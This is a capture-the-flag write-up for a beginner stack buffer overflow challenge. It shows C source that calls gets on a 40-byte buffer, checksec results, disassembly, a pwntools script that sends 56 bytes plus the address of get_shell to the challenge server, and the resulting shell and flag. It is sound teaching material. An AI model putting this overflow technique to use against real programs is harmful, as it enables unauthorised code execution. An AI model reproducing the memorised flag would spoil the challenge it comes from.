# **The Challenge**
```#include <stdio.h>#include <unistd.h>
__attribute__((constructor))void setup() {    setvbuf(stdout, 0, 2, 0);    setvbuf(stdin, 0, 2, 0);}
void get_shell() {    execve("/bin/sh", NULL, NULL);}
void vuln() {    char name[40];
    printf("Please tell me your name: ");    gets(name);}
int main(void) {    printf("Welcome! Can you figure out how to get this program to give you a shell?\n");    vuln();    printf("Unfortunately, you did not win. Please try again another time!\n");}
```
# **The Mitigations**
By running checksec on it we get the following results:
```    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
With those results we can carefully say the followings:
1) The addresses of the .text are not randomized and always the same (There is no PIE)2) We can jump to where ever we want in the code if we could find the exploit (There is no Canary)
# **The Vulnerabilities/ Game Plan** In the challenge code written above we can see three functions other then main, knowing the fact that the content of setup() is standard lets examine the two remaining methods:
1) The method vuln asking the user to enter some input and then inputting it with the function gets, gets is an extremely vulnarble function, it does not limit the amount of data that can be entered to it and by not doing so (and with the described missing mitigations) it allows us to enter the amount of data necessary to overflow the buffer and set the return address to where ever we want, looking at the asm code while visulizing the stack is giving us the proper amount which is 56 bytes (1 char = 1 byte).
```   0x00000000004006e7 <+0>:     push   rbp   0x00000000004006e8 <+1>:     mov    rbp,rsp   0x00000000004006eb <+4>:     sub    rsp,0x30   0x00000000004006ef <+8>:     lea    rdi,[rip+0xea]        # 0x4007e0   0x00000000004006f6 <+15>:    mov    eax,0x0   0x00000000004006fb <+20>:    call   0x400560 <printf@plt>   0x0000000000400700 <+25>:    lea    rax,[rbp-0x30]   0x0000000000400704 <+29>:    mov    rdi,rax   0x0000000000400707 <+32>:    mov    eax,0x0   0x000000000040070c <+37>:    call   0x400580 <gets@plt>   0x0000000000400711 <+42>:    nop   0x0000000000400712 <+43>:    leave   0x0000000000400713 <+44>:    ret  00:0000│ rax r8 rsp  0x7fffffffe090 ◂— 0x4141414141 /* 'AAAAA' */01:0008│             0x7fffffffe098 —▸ 0x7ffff7e5271a (puts+378) ◂— cmp    eax, -102:0010│             0x7fffffffe0a0 —▸ 0x400750 (__libc_csu_init) ◂— push   r1503:0018│             0x7fffffffe0a8 —▸ 0x7fffffffe0d0 ◂— 0x004:0020│             0x7fffffffe0b0 —▸ 0x4005a0 (_start) ◂— xor    ebp, ebp05:0028│             0x7fffffffe0b8 —▸ 0x7fffffffe1c0 ◂— 0x106:0030│ rbp         0x7fffffffe0c0 —▸ 0x7fffffffe0d0 ◂— 0x007:0038│             0x7fffffffe0c8 —▸ 0x40072e (main+26) ◂— lea    rdi, [rip + 0x11b]     # the deired return address at main ```
2) The method get_shell is basically opening a shell using execve and the shell path, with a shell open we can search for a flag file and use the cat command to print its content
> execve() executes the program referred to by pathname.
Game plan in summery: we will overflow the return address of vuln via gets to the get_shell function and then use the open shell to search for a flag file and see its content.
# **Exploit**```from pwn import *
p = remote("chal.duc.tf",  30002)
print(p.recvuntil("name: "))p.sendline(b"A" * 56 + p64(0x4006CA)) #sending 56 bytes + address of get_shell
p.interactive()```
# **Result**```b'Welcome! Can you figure out how to get this program to give you a shell?\nPlease tell me your name: '[*] Switching to interactive mode$ lsflag.txtshellthis$ cat flag.txtDUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}$```